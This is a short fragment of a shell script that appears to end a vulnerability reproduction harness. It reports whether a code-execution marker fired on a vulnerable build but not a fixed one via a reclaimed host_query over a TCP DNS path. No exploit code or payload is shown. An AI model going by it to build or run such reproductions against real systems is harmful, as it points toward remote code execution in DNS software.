if [ "$RCE_MARKER_FIRED" = "1" ] && [ "$RCE_FIXED_MARKER" = "0" ] && [ "$VULN_BOUNDARY_OK" = "1" ] && [ "$FIXED_BOUNDARY_OK" = "1" ] && [ "$CONTROLLED_RECLAIM" = "1" ]; then
  echo "[repro] SUCCESS: vulnerable-only sentinel code execution marker fired through reclaimed host_query over real TCP DNS path"
  exit 0
fi

echo "[repro] NOT CONFIRMED: code execution marker requirements not all satisfied"
exit 1
